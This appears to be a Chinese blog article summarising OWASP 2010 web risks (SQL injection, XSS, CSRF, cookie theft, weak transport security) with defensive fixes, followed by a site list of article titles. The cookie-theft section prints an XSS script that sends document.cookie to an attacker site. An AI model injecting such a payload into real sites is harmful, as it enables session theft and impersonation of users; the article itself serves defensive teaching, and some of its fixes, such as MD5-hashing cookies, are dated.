根据2010年OWASP发布的Web应用程序安全风险主要是SQL注入攻击、跨网站脚本、伪造客户端请求、Cookie盗取,传输层保护不足。 
1 SQL注入攻击 
  随着B/S框架结构在系统开发中的广泛应用,恶意攻击者利用SQL命令在Web表单中输入合法的字符或查询字符串来欺骗服务器执行SQL命令。当注入攻击得逞后,Web程序将泄露大量用户隐私数据和数据库数据结构。攻击者能够获得系统较高的访问权限,进行破坏操作。

解决方法:

数据库安全通信包括SQL注入攻击的防范、安全设置、异常信息处理三个方面。

1.服务端Filter对访问者输入的字符进行过滤检验,但是攻击者经常把危险字符潜藏在用户输入的有效字符中完成过滤检验。

2.通过正则表达式对页面的文本框输入的数据进行限制可以减少过滤检验存在的漏洞。

3.使用prepareStatment预编译sql语句
2 跨网站脚本 
 跨网站脚本(简称XSS)是当前恶意破坏者主要选择的攻击手段之一。XSS通过网页开发时留下的安全漏洞,注入恶意的指令代码,影响其他用户对网站的访问,同时获得用户的合法信息。受XSS攻击的网站通常是由JavaScript、ActiveX和普通的HTML设计的。

解决方法:

1.输入过滤。对用户的所有输入数据进行检测,比如过滤其中的“<”、“>”、“/”等可能导致脚本注入的特殊字符,或者过滤“script”、“javascript”等脚本关键字,或者对输入数据的长度进行限制等等。同时,我们也要考虑用户可能绕开ASCII码,使用十六进制编码来输入脚本。因此,对用户输入的十六进制编码,我们也要进行相应的过滤。只要能够严格检测每一处交互点,保证对所有用户可能的输入都进行检测和XSS过滤,就能够有效地阻止XSS攻击。
    2.输出编码。通过前面对XSS攻击的分析,我们可以看到,之所以会产生XSS攻击,就是因为Web应用程序将用户的输入直接嵌入到某个页面当中,作为该页面的HTML代码的一部分。因此,当Web应用程序将用户的输入数据输出到目标页面中时,只要用HtmlEncoder等工具先对这些数据进行编码,然后再输出到目标页面中。这样,如果用户输入一些HTML的脚本,也会被当成普通的文字,而不会成为目标页面HTML代码的一部分得到执行。
3 伪造客户端请求(Cross-site request forgery)
 伪造客户端请求(简称为CSRF)是通过用户浏览器向存在安全漏洞的Web服务器发送带有Cookie信息的请求,来替换文件地址达到自动链接的目的。

解决方法:

1.验证码。几乎所有人都知道验证码,但验证码不单单用来防止注册机的暴力破解,还可以有效防止CSRF的攻击。验证码算是对抗CSRF攻击最简洁有效的方法。但使用验证码的问题在于,不可能在用户的所有操作上都需要输入验证码.只有一些关键的操作,才能要求输入验证码。不过随着HTML5的发展。利用canvas标签,前端也能识别验证码的字符,让CSRF生效。
 2.Token。CSRF能攻击成功,根本原因是:操作所带的参数均被攻击者猜测到。既然知道根本原因,我们就对症下药,利用Token。当向服务器传参数时,带上Token。这个Token是一个随机值,并且由服务器和用户同时持有。当用户提交表单时带上Token值,服务器就能验证表单和session中的Token是否一致。

4 Cookie盗取

通过XSS攻击,由于注入代码是在受害者的浏览器上执行,因此能够很方便地窃取到受害者的Cookie信息。比如,我们只要注入类似如下的代码:
    <script>

location.replace("http://www.attackpage.com/record.asp?secret="+document.cookie)

</script>
  当受害者的浏览器执行这段脚本的时候,就会自动访问攻击者建立的网站www.attackpage.com,打开其中的recourd.asp,将受害者浏览器的Cookie信息给记录下来。这样,攻击者就得到了用户的Cookie信息。得到受害者的Cookie信息后,攻击者可以很方便地冒充受害者,从而拥有其在目标服务器上的所有权限,相当于受害者的身份认证被窃取了。

解决方法:

1.我们要尽可能地避免在Cookie中泄露隐私,如用户名、密码等;其次,我们可以将Cookie信息利用MD5等Hash算法进行多次散列后存放

2.为了防止重放攻击,我们也可以将Cookie和IP进行绑定,这样也可以阻止攻击者冒充正常用户的身份。
5 传输层保护不足 
 当数据在传输层进行网络传输时,由于采用了简单或传统的加密算法,数据保密性和完整性很容易被破坏。攻击者利用密码、密钥、会话令牌等进行非法操作。 
    解决方法:

1.使用https替换http协议

2.保证SSL的提供商只支持强大的算法,这样就不能够被轻易破解。(使用标准的强算法)

3.确保您的证书是有效的,不过期,不被撤销,并匹配这个网站使用的所有域。

最新文章

  1. JS继承之寄生类继承
  2. 第十二篇:SOUI的utilities模块为什么要用DLL编译?
  3. 【BZOJ2438】 [中山市选2011]杀人游戏 tarjan强连通分量+缩点
  4. BizTalk2010动手实验(二)第一个BizTalk应用
  5. servlet1
  6. linux运维笔记——常用命令详解diff
  7. paper 22:kl-divergence(KL散度)实现代码
  8. LeetCode Longest Common Prefix 最长公共前缀
  9. Java基础:Collection—List&amp;Set
  10. [Linux]三种方案在Windows系统下安装ubuntu双系统(转)
  11. Eclipse中如何安装和使用GrepCode插件
  12. JS封装cookie操作函数实例(设置、读取、删除)
  13. Swift - 解析JSON数据(内置NSJSONSerialization与第三方JSONKit)
  14. javascript基础-表单
  15. JAVA基础面试(二)
  16. angularjs+ionic+&#39;h5+&#39;实现二维码扫描功能
  17. java:编程比赛中有用的方法整理(一)数组
  18. 为什么 kubernetes 天然适合微服务
  19. 使用POST请求实现页面的跳转
  20. container(容器),injection(注入)

热门文章

  1. html5-entities.js消失问题
  2. iOS_mapKit与Core Location
  3. java基础之bit、byte、char、String
  4. JSP Cookie状态管理
  5. nodejs 语法很特别的地方
  6. VC 模拟CMD 匿名管道
  7. 比较运算符in/instanceof/typeof 逻辑表达式||/&amp;&amp;
  8. 使用标签代替goto关键字
  9. php提前输出响应及注意问题
  10. js字符串转dom